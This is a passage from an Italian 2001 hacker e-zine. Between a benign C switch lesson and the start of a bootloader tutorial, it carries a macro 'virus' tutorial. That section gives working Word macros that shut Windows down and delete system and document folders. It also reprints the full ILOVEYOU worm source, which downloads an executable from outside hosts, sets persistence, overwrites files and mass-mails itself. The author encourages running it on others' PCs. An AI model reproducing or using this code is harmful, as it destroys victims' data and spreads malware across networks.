|A differenza dell'if/else, lo switch può verificare soltanto l'ugualianza di |
|una variabile, quindi può tornare utile per fare un menù, per esempio, dove |
|ogni voce corrisponde ad un numero. |
|Vediamo: |
| |
|#include <stdio.h> |
| |
|main() |
|{ |
| |
| int lista; /*Definiamo la variabile che servirà per lo switch*/ |
| |
| printf("\n Scegli un gruppo per sapere che genere di musica suona:\n"); |
| printf(" 1) Cypress Hill \n"); |
| printf(" 2) Elio e le storie tese \n"); |
| printf(" 3) 883 \n"); |
| printf(" 4) Pitura Freska \n"); |
| scanf("%d", &lista); /*Prendiamo il valore della variabile lista*/ |
| switch (lista) /*e facciamone il confronto*/ |
| { |
| case 1: |
| printf("I Cypress Hill suonano RAP\n"); |
| break; |
| case 2: |
| printf("Elio e le storie tese suonano rock demenziale"); |
| break; |
| case 3: |
| printf("Gli 883 suonano? E ti sembra musica quella?"); |
| break; |
| case 4: |
| printf("I Pitura Freska suonano reggae/ska"); |
| break; |
| default: |
| printf("Nessun gruppo associato a questo numero"); |
| |
| } |
|} |
| |
|Con questo abbiamo finito di parlare anche del costrutto switch, la prossima |
|volta vedremo come fare per scrivere un programma più "intelligente", cioè che |
|non esce fino a quando non glie lo diciamo noi. |
|Parleremo del "while" e del "do-while" e .... basta, cos'altro volete ancora? |
|:))) |
| |
|Bai bai amici, alla prossima! |
| JEYoNE |
| articoli@ondaquadra.cjb.net |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #04 - 19/11/2001 |
| iNTR0 ALLE MACR0 (7/8) [Mastro] 0x0E/0x23 |
+-------------------------------------------------------------------------------+
| |
| |
| MACRO: PARTE 7° "VIRUZZZZZZ-ONE " |
| |
| Ok! |
| Questa parte non è dedicata (forse in minima parte) alla spiegazione di |
| Visual Basic, ma a qualche (parecchi) comandi meglio chiamati virus. ;) |
| Per il piccolo virus che riporto sotto ho utilizzato una proprietà molto |
| ultile di Application: OnTime. |
| Impostando un orario è possibile far eseguire una macro a quell'ora, oppure |
| dopo un tot di secondi, minuti oppure ore, il tutto senza che l'utente se ne |
| accorga! |
| |
| Sub pippo() |
| Application.OnTime When:="15:55:00", Name:="topolino" |
| End Sub |
| |
| Alle 3 e 55 del pomeriggio la macro viene eseguita. |
| |
| |
| A T T E N Z I O N E ! ! ! ! |
| |
| Quando immettete il nome della macro da far viaggare NON inserite le |
| parentesi o quella non parte!!! |
| |
| |
| |
| |
| Sub pippo() |
| Application.OnTime When:=Now + TimeValue("00:0:15"), Name:="topolino" |
| End Sub |
| |
| La macro "topolino" parte dopo 15 secondi. |
| Se volete potete farla partire dopo 1 o 2 minuti, o anche 3 ore: |
| |
| Sub pippo() |
| Application.OnTime When:=Now + TimeValue("00:15:00"), Name:="topolino" |
| End Sub |
| |
| L'esempio qui sotto è una piccola cazzata, ma bastarda: |
| |
| Sub AutoExec() |
| Application.OnTime When:=Now + TimeValue("00:5:00"), Name:="topolino" |
| End Sub |
| Sub topolino()
|
| MsgBox "" |
| MsgBox "EÛÙrò¶Z ¢>ÄF(A>À EeÄ&öÌp©&n ~{}|_ßß ÞµÕÔþõÒiõ÷____6 5Ä_A", |
| vbCritical |
| MsgBox |
| "Addiooooooooooooooooooooooooooooooooooooooooo.........................." |
| Tasks.ExitWindows |
| End Sub |
| |
| Aspettiamo 5 minuti, poi gli spegnamo Windows in faxxa!!! ;) |
| E senza salvare un caxxo!!! |
| E' strutturata in 2 parti: |
| il timer (AutoExec), e la macro vera e propria (topolino). |
| |
| |
| Ed ora il virus: |
| è come l'esempio sopra, all'avvio di Word parte un timer in background che |
| dopo 20 venti secondi fa scattare il virus. |
| Inizia eliminando qualche barra degli strumenti....non si sa mai! ;) |
| Poi passa a spaventare un pò il coglione, facendogli alcune domande senza |
| contare le risposte, così anche se sono tutte giuste lui agisce |
| ugualmente!!! ;) |
| Ho messo una piccola cazzata: un messaggio che dice che il virus sta |
| scatarrando nel pc e ad ogni sputo il cursore sballa cambiando forma! |
| Più che spaventarlo, questo virus devasta interiormente l'utente, perchè |
| cancella ogni filez presente nella cartella Windows e Sistem! |
| Addio computer! |
| |
| |
| Sub AutoExec() |
| Application.OnTime When:=Now + TimeValue("00:0:20"), Name:="pippo" |
| End Sub |
| |
| Sub pippo() |
| On Error Resume Next |
| Application.DisplayAlerts = wdAlertsNone |
| CommandBars("file").Enabled = False |
| CommandBars("tools").Enabled = False |
| CommandBars("standard").Enabled = False |
| MsgBox "A T T E N Z I O N E ! !", vbCritical |
| MsgBox "Ciao come ti va? Io sono stato appena attivato e sono in piena |
| forma." |
| MsgBox "E sì, sono un virus e ti ho cancellato autoexec.bat e command.com." |
| MsgBox "E' così che va la vita....un giorno a te l'altro ancora a te e così |
| via....." |
| MsgBox "Non dovevi scaricare quei documenti da Internet.....non ti avevano |
| avvisato?" |
| MsgBox "Vabbè, mi stai simpatico (non è vero!) e ti voglio aiutare con il |
| buon vecchio questionario: tu rispondi giusto e io me ne vado." |
| MsgBox " Via!" |
| w = InputBox("Quale tra queste parole è sia un ballo che uno strumento? |
| a)Bongo-bongo b)Macarena c)Charleston d)Tip-tap", "SoTtO |
| cOnTrOlLo") |
| If w = "b" Then |
| MsgBox "Giustoooooooo!!!!!" |
| Else |
| MsgBox "Noooooooooooooooooooooooooooooooooooo!!!!", vbCritical |
| End If |
| a = InputBox("Un trojan è: a)Un videogame b)Un uomo che si |
| prostituisce c)Un virus d)Un programma per accedere ad altri pc", |
| "DoMaNdA fAcIlE fAcIlE") |
| If a = "d" Then |
| MsgBox "WOW!!!!!! GIUSTA!!!!!" |
| Else |
| MsgBox "Sei una schifosissima merda, ho fatto bene a infettarti!!!", |
| vbCritical, "CREPA!!!" |
| End If |
| MsgBox "Mi sono rotto. Ultima possibilità.", vbCritical |
| r = InputBox("Domanda molto facile: Galeazzi è a)Una donna b)Un |
| travestito c)Un giornalista d)Un cronista", "OcChIo A nOn |
| SbAgLiArE!!!") |
| If r = "d" Then |
| MsgBox "Ok. Hai indovinato." |
| Else |
| MsgBox "No! Ancora sbagliato!", vbCritical |
| End If |
| MsgBox "Non me ne frega un cazzo di quante risposte hai azzeccato o di |
| quante ne hai sbagliate, ho solo voglia di sputare ripetutamente sul tuo |
| misero pc.", vbInformation |
| MsgBox "Ora lo faccio, stai a vedere......" |
| For I = 1 To 100000 |
| System.Cursor = wdCursorWait |
| Next I |
| System.Cursor = wdCursorNormal |
| For I = 1 To 10000 |
| System.Cursor = wdCursorNorthwestArrow |
| Next I |
| System.Cursor = wdCursorNormal |
| MsgBox "Ancora catarro!" |
| For I = 1 To 1000 |
| Application.HelpTool |
| Next I |
| System.Cursor = wdCursorNormal |
| For I = 1 To 10000 |
| System.Cursor = wdCursorNorthwestArrow |
| Next I |
| System.Cursor = wdCursorNormal |
| MsgBox "Avanti di saliva!" |
| For I = 1 To 1000 |
| Application.HelpTool |
| Next I |
| System.Cursor = wdCursorNormal |
| For I = 1 To 10000 |
| System.Cursor = wdCursorNorthwestArrow |
| Next I |
| System.Cursor = wdCursorNormal |
| For I = 1 To 1000 |
| Application.HelpTool |
| Next I |
| System.Cursor = wdCursorNormal |
| For I = 1 To 100000 |
| System.Cursor = wdCursorNorthwestArrow |
| Next I |
| System.Cursor = wdCursorNormal |
| MsgBox "Scatarro come non mai!" |
| For I = 1 To 10000 |
| Application.HelpTool |
| Next I |
| System.Cursor = wdCursorNormal |
| MsgBox "Ho finito il catarro, cazzo!", vbCritical |
| MsgBox "Iniziamo a devastare!", vbCritical |
| Kill "C:\WINDOWS\*.*" 'Chissà a cosa serve |
| Kill? |
| Kill "C:\WINDOWS\SYSTEM\*.*" |
| Kill "C:\DOCUMENTI\*.*" 'Volevo essere |
| Kill "C:\WINDOWS\*.dll" 'sicuro di |
| Kill "C:\WINDOWS\*.ini" 'DEVASTARE il pc. |
| MsgBox "Non ho fatto apposta.", vbYesNo, "Grande cazzata" |
| MsgBox ";) Ha ha ha ha ha ha ha ha!!!!!!!" |
| End Sub |
| |
| |
| |
| |
| MACRO: PARTE 3° "VIRUZZZZZZ-TWO " |
| |
| Ok! |
| Piaciuto il viruzzzzzz-one? Provatelo su qualche pc! (Non il vostro.....) |
| Non so quanti di voi lo sapevano già, comunque c'è la possibilità di creare |
| macro anche in programmi che non siano Word, come Excel, PowerPoint e |
| Access. |
| Il guaio è che i comandi cambiano da programma a programma (quelli di Visual |
| Basic rimangono gli stessi, gli altri no). |
| Una cosa abbastanza divertente si può fare con PowerPoint: prendete |
| un'immagine di un teschio o comunque qualcosa di "pauroso" e poi la mettete |
| in una diapositiva. |
| A questo punto vi basta creare una macro che blocchi tutto, magari con un |
| messaggio d'errore "perpetuo", oppure gli cancellate qualche filez con: |
| |
| |
| Sub pippo() |
| Kill "nome e percorso del filez" |
| End Sub |
| |
| Anche qui potete usare l'asterisco (*) per indicare tutti i filez: |
| |
| Sub pippo() |
| Kill "C:\WINDOWS\*.exe" |
| End Sub |
| |
| Potete anche dire addio a windows. |
| Oppure potreste eliminare direttamente la directory con RmDir: |
| |
| Sub AutoExec() |
| RmDir "Documenti" |
| RmDir "Windows" |
| End Sub |
| |
| Crearne delle altre? |
| |
| Sub pippo() |
| MkDir "Pippo" |
| Mkdir "C:\WINDOWS\SYSTEM\PIPPO" |
| End Sub |
| |
| Con il primo comando ho creato una cartella nella directory corrente |
| (Windows), con il secondo la cartella PIPPO viene creata in System. |
| |
| |
| Ora veniamo all'argomento di questa parte: il registro di sistema. |
| Forse qualcuno di voi lo conosce già, per gli altri è un registro con le |
| chiavi di tutti i programmi, anche di quelli già disinstallati. |
| Se qualcuno si è beccato un Trojan ha dovuto operare un pò sul registro per |
| salvarsi. Se volete vederlo basta andare su "Esegui" dal menù avvio e |
| digitare |
| "regedit". |
| Che cozza possiamo fare noi con le nostre macro? |
| Semplice! Creiamo o eliminiamo chiavi! |
| |
| Sub pippo() |
| SaveSetting appname := "Pippo", section := "Topolino", key := "ciao", |
| setting := 75 |
| End Sub |
| |
| |
| SaveSetting==>gli chiediamo di salvare una nuova chiave |
| appname ==>dal nome..... |
| section ==>con una sotto-sezione di nome..... |
| key ==>con un comando di nome.... |
| setting ==>il valore del comando |
| E a me? ==>Non lo so, può sempre essere utile! ;) |
| |
| Eliminare una chiave? (cosa molto più importante) |
| |
| Sub pippo() |
| DeleteSetting "Pippo", "Topolino" 'eliminiamo Topolino |
| DeleteSetting "Pippo" 'eliminiamo Pippo |
| End Sub |
| |
| |
| Ora potete manipolare le chiavi del registro a vostro piacimento. |
| Questo qui sotto è il viruzzzzzz-two, purtroppo però non è una mia creazione |
| ma è il testo del mitico virus "I love you". |
| L'ho messo per farvi vedere un esempio molto funzionante di manipolazione di |
| chiavi. |
| Eccovivi l'opera d'arte: |
| |
| |
| |
| |
| On Error Resume Next 'iniziamo |
| dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow |
| eq="" |
| ctr=0 |
| Set fso = CreateObject("Scripting.FileSystemObject") |
| set file = fso.OpenTextFile(WScript.ScriptFullname,1) |
| vbscopy=file.ReadAll |
| main() |
| sub main() |
| On Error Resume Next |
| dim wscr,rr |
| set wscr=CreateObject("WScript.Shell") 'prima manipolazione |
| rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting |
| Host\Settings\Timeout") |
| if (rr>=1) then |
| wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting |
| Host\Settings\Timeout",0,"REG_DWORD" |
| end if |
| Set dirwin = fso.GetSpecialFolder(0) |
| Set dirsystem = fso.GetSpecialFolder(1) |
| Set dirtemp = fso.GetSpecialFolder(2) |
| Set c = fso.GetFile(WScript.ScriptFullName) 'copiamo qualche filez di |
| sistema |
| c.Copy(dirsystem&"\MSKernel32.vbs") |
| c.Copy(dirwin&"\Win32DLL.vbs") |
| c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") |
| regruns() |
| html() |
| spreadtoemail() |
| listadriv() |
| end sub |
| sub regruns() |
| On Error Resume Next |
| Dim num,downread 'andiamo avanti con i cambiamenti.... |
| regcreate |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32" |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\M,dirsystem |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\M&"\MSKerne |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ml32.vbs" |
| regcreate |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSe32DLL",dir |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSewin&"\Win3 |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSe2DLL.vbs" |
| downread="" |
| downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet |
| Explorer\Download Directory") |
| if (downread="") then |
| downread="c:\" |
| end if |
| if (fileexist(dirsystem&"\WinFAT32.exe")=1) then |
| Randomize |
| num = Int((4 * Rnd) + 1) |
| if num = 1 then 'impostiamo la main page di Internet |
| Explorer. |
| regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start |
| Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw |
| Page","http:/6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" |
| elseif num = 2 then |
| regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start |
| Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe5 |
| Page","http:/46786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" |
| elseif num = 3 then |
| regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start |
| Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmP |
| Page","http:/OhfgER67b3Vbvg/WIN-BUGSFIX.exe" |
| elseif num = 4 then |
| regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start |
| Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhY |
| Page","http:/UgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/ |
| Page","http:/WIN-BUGSFIX.exe" |
| end if |
| end if |
| if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then |
| regcreate |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\W",downread |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\W&"\WIN-BUG |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WSFIX.exe" |
| regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start |
| Page","about:blank" |
| end if |
| end sub |
| sub listadriv |
| On Error Resume Next |
| Dim d,dc,s |
| Set dc = fso.Drives |
| For Each d in dc |
| If d.DriveType = 2 or d.DriveType=3 Then |
| folderlist(d.path&"\") |
| end if |
| Next |
| listadriv = s |
| end sub |
| sub infectfiles(folderspec) |
| On Error Resume Next |
| dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 |
| set f = fso.GetFolder(folderspec) |
| set fc = f.Files |
| for each f1 in fc |
| ext=fso.GetExtensionName(f1.path) |
| ext=lcase(ext) |
| s=lcase(f1.name) |
| if (ext="vbs") or (ext="vbe") then |
| set ap=fso.OpenTextFile(f1.path,2,true) |
| ap.write vbscopy |
| ap.close |
| elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") |
| or (ext="hta") then |
| set ap=fso.OpenTextFile(f1.path,2,true) |
| ap.write vbscopy |
| ap.close |
| bname=fso.GetBaseName(f1.path) |
| set cop=fso.GetFile(f1.path) |
| cop.copy(folderspec&"\"&bname&".vbs") |
| fso.DeleteFile(f1.path) |
| elseif(ext="jpg") or (ext="jpeg") then |
| set ap=fso.OpenTextFile(f1.path,2,true) |
| ap.write vbscopy |
| ap.close |
| set cop=fso.GetFile(f1.path) |
| cop.copy(f1.path&".vbs") |
| fso.DeleteFile(f1.path) |
| elseif(ext="mp3") or (ext="mp2") then 'Hai hai hai! Gli mp3..... |
| set mp3=fso.CreateTextFile(f1.path&".vbs") |
| mp3.write vbscopy |
| mp3.close |
| set att=fso.GetFile(f1.path) |
| att.attributes=att.attributes+2 |
| end if |
| if (eq<>folderspec) then |
| if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or |
| (s="script.ini") or (s="mirc.hlp") then |
| set scriptini=fso.CreateTextFile(folderspec&"\script.ini") |
| scriptini.WriteLine "[script]" |
| scriptini.WriteLine ";mIRC Script" |
| scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, |
| if mIRC will" |
| scriptini.WriteLine " corrupt... WINDOWS will affect and will not run |
| correctly. thanks" |
| scriptini.WriteLine ";" |
| scriptini.WriteLine ";Khaled Mardam-Bey" |
| scriptini.WriteLine ";http://www.mirc.com" |
| scriptini.WriteLine ";" |
| scriptini.WriteLine "n0=on 1:JOIN:#:{" |
| scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" |
| scriptini.WriteLine "n2= /.dcc send $nick |
| "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" |
| scriptini.WriteLine "n3=}" |
| scriptini.close |
| eq=folderspec |
| end if |
| end if |
| next |
| end sub |
| sub folderlist(folderspec) |
| On Error Resume Next |
| dim f,f1,sf |
| set f = fso.GetFolder(folderspec) |
| set sf = f.SubFolders |
| for each f1 in sf |
| infectfiles(f1.path) |
| folderlist(f1.path) |
| next |
| end sub |
| sub regcreate(regkey,regvalue) |
| Set regedit = CreateObject("WScript.Shell") |
| regedit.RegWrite regkey,regvalue |
| end sub |
| function regget(value) |
| Set regedit = CreateObject("WScript.Shell") |
| regget=regedit.RegRead(value) |
| end function |
| function fileexist(filespec) |
| On Error Resume Next |
| dim msg |
| if (fso.FileExists(filespec)) Then |
| msg = 0 |
| else |
| msg = 1 |
| end if |
| fileexist = msg |
| end function |
| function folderexist(folderspec) |
| On Error Resume Next |
| dim msg |
| if (fso.GetFolderExists(folderspec)) then |
| msg = 0 |
| else |
| msg = 1 |
| end if |
| fileexist = msg |
| end function |
| sub spreadtoemail() 'ci auto-spediamo per posta |
| On Error Resume Next |
| dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad |
| set regedit=CreateObject("WScript.Shell") |
| set out=WScript.CreateObject("Outlook.Application") |
| set mapi=out.GetNameSpace("MAPI") |
| for ctrlists=1 to mapi.AddressLists.Count |
| set a=mapi.AddressLists(ctrlists) |
| x=1 |
| regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) |
| if (regv="") then |
| regv=1 |
| end if |
| if (int(a.AddressEntries.Count)>int(regv)) then |
| for ctrentries=1 to a.AddressEntries.Count |
| malead=a.AddressEntries(x) |
| regad="" |
| regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) |
| if (regad="") then |
| set male=out.CreateItem(0) |
| male.Recipients.Add(malead) |
| male.Subject = "ILOVEYOU" 'soggetto del messaggio |
| male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." |
| 'testo |
| male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 'allegato |
| male.Send |
| regedit.RegWrite |
| "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" |
| end if |
| x=x+1 |
| next |
| regedit.RegWrite |
| "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count |
| else |
| regedit.RegWrite |
| "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count |
| end if |
| next |
| Set out=Nothing |
| Set mapi=Nothing |
| end sub |
| sub html |
| On Error Resume Next 'un po' di HTML... |
| dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 |
| dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META |
| NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ |
| "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? |
| @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ |
| "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is |
| good...@-@>"&vbcrlf& _ |
| "<?-?HEAD><BODY |
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#- |
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT#,#-#main#-#)@-@ |
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT "&vbcrlf& _ |
| "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#- |
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT#,#-#main#-#)@-@ |
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT |
| BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ |
| "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read |
| this HTML file<BR>- Please press #-#YES#-# button to Enable |
| ActiveX<?-?p>"&vbcrlf& _ |
| "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ |
| BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> |
| "&vbcrlf& _ |
| "<?-?BODY><?-?HTML>"&vbcrlf& _ |
| "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ |
| "<!--?-??-?"&vbcrlf& _ |
| "if (window.screen){var wi=screen.availWidth;var |
| hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ |
| "?-??-?-->"&vbcrlf& _ |
| "<?-?SCRIPT>"&vbcrlf& _ |
| "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ |
| "<!--"&vbcrlf& _ |
| "on error resume next"&vbcrlf& _ |
| "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ |
| "aw=1"&vbcrlf& _ |
| "code=" |
| dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ |
| "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ |
| "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ |
| "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ |
| "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ |
| "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ |
| "wri.write code4"&vbcrlf& _ |
| "wri.close"&vbcrlf& _ |
| "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ |
| "if (err.number=424) then"&vbcrlf& _ |
| "aw=0"&vbcrlf& _ |
| "end if"&vbcrlf& _ |
| "if (aw=1) then"&vbcrlf& _ |
| "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ |
| "window.close"&vbcrlf& _ |
| "end if"&vbcrlf& _ |
| "end if"&vbcrlf& _ |
| "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ |
| "regedit.RegWrite |
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run |
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cu^-^MSKernel32@-@,d |
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cuirsystem&@-@^-^MSK |
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cuernel32.vbs@-@"&vb |
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cucrlf& _ |
| "?-??-?-->"&vbcrlf& _ |
| "<?-?SCRIPT>" |
| dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") |
| dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") |
| dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") |
| dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") |
| dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") |
| dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") |
| dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") |
| dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") |
| set fso=CreateObject("Scripting.FileSystemObject") |
| set c=fso.OpenTextFile(WScript.ScriptFullName,1) |
| lines=Split(c.ReadAll,vbcrlf) |
| l1=ubound(lines) |
| for n=0 to ubound(lines) |
| lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) |
| lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) |
| lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) |
| if (l1=n) then |
| lines(n)=chr(34)+lines(n)+chr(34) |
| else |
| lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" |
| end if |
| next 'ci creiamo |
| set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") |
| b.close ' ci auto_apriamo |
| set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) |
| d.write dt5 |
| d.write join(lines,vbcrlf) |
| d.write vbcrlf |
| d.write dt6 |
| d.close |
| end sub |
| |
| |
| Come potete vedere creare un virus alla portata di "I love you" è un po' |
| complicato e lungo. |
| Se volete fare i lamer D.O.C. potete copiare il codice, modificare le parti |
| riguardanti il titolo della e-mail, il messaggio, l'allegato (ovviamente |
| cambiando anche il nome con cui lo salvate tramite la macro), |
| e poi lo spedite a qualcuno, ma sarebbe meglio elaborarne uno proprio , |
| invece di sfruttare il bel lavoro di quel poveraccio di Manila che è stato |
| pure beccato! :( |
| |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #04 - 19/11/2001 |
| 0S FR0M ZER0 CHAPTER [Alexander The Great] 0x0F/0x23 |
+-------------------------------------------------------------------------------+
| |
| Introduzione. |
| ------------- |
| |
| Salve. |
| |
| L'argomento di questo tutorial è: progettare e realizzare un |
| nuovo sistema operativo, partendo da zero, dal nulla assoluto. |
| Intendo, più precisamente, NON a partire da un kernel o da |
| qualche altra cosa presa in prestito da un sistema già esistente: |
| proprio dallo zero assoluto, scrivendo ogni singola riga di |
| codice assembly necessario. Quindi come prima cosa vi consiglio |
| di studiare un po' di assembly per processori Intel. Ci sono un |
| bel po' di tutorials al riguardo su Internet, ma se vi potete |
| permettere di spendere qualcosa in un buon libro, vi consiglio |
| il Murray-Pappas, "l'Assembler per l'80286/80386", MCGraw-Hill. |
| E un'ultima cosa: se non sapete l'inglese, lasciate perdere... |
| |
| Troppo difficile? Direi che non è facile, ma non è neanche |
| impossibile. Bisogna innanzi tutto chiedersi da dove comincia |
| un sistema operativo... la risposta è: da dove finisce il BIOS. |
| Come sicuramente saprete, il BIOS è quella parte di programmi |
| che risiedono in ROM e si occupano di gestire l'hardware al suo |
| livello più fondamentale. Inoltre il BIOS si occupa del cosidetto |
| "Power-On Self-Test", abbreviato in POST: durante il POST viene |
| verificata la salute dell'unità centrale e di tutte le periferiche; |
| dopodiché, a patto che tutto risulti a posto, il BIOS passa il |
| controllo a un programmino che si chiama "bootstrap loader". |
| Ecco: lì finisce il BIOS e comincia il sistema operativo; |
| volendo scrivere un SO nuovo di zecca, bisogna quindi iniziare |
| dal codice del "bootstrap loader". |
| |
| |
| |
| Il bootblock. |
| ------------- |
| |
| Su tutti i dischi di sistema (quale che sia il sistema) esiste |
| un'area chiamata "bootblock" (blocco d'avviamento), rappresentata |
| dal primo settore fisico del disco. Se prendiamo un floppino ed i |
| suoi soliti 1440 Kb, e ne analizziamo la struttura, il risultato |
| è il seguente: |
| |
| - 80 tracce (tracks) circolari, la prima delle quali è la |
| più vicina al centro del disco, e l'ultima la più esterna; |
| - 2 testine (heads), dette anche "superfici", poiché indica |
| quante superfici del supporto magnetico sono utilizzabili; |
| - 18 settori per traccia (sectors per track), ovvero in |
| quanti settori circolari è divisa ogni traccia; |
| - 512 bytes per settore (bytes per sector), la capacità di |
| memoria di un singolo settore. |
| |
| Se infatti si fa il prodotto di tutti i valori (80x2x18x512), |
| si ottiene il numero totale di bytes che un floppy da 1440Kb può |
| contenere, per l'appunto 1.474.560 bytes, cioè 1440Kb, o 1.4 Mb. |
| Detto questo, passo a introdurre un'altra entità: il "cilindro", |
| in inglese chiamato "cylinder". Il cilindro è l'ammontare di dati |
| immagazzinati in tutte le superfici di tutti i settori di una |
| sola traccia. |
| Quindi la quantità di dati immagazzinata in un cilindro si può |
| calcolare moltiplicando i bytes per settore per il numero di |
| settori per traccia, per il numero di superfici (o testine). |
| Nel caso di un floppy, questo calcolo è 512x2x18 = 18 Kb. |
| |
| Chiusa la piccola digressione, torniamo al bootblock. |
| Il bootblock è un singolo settore del disco, quindi su un floppy |
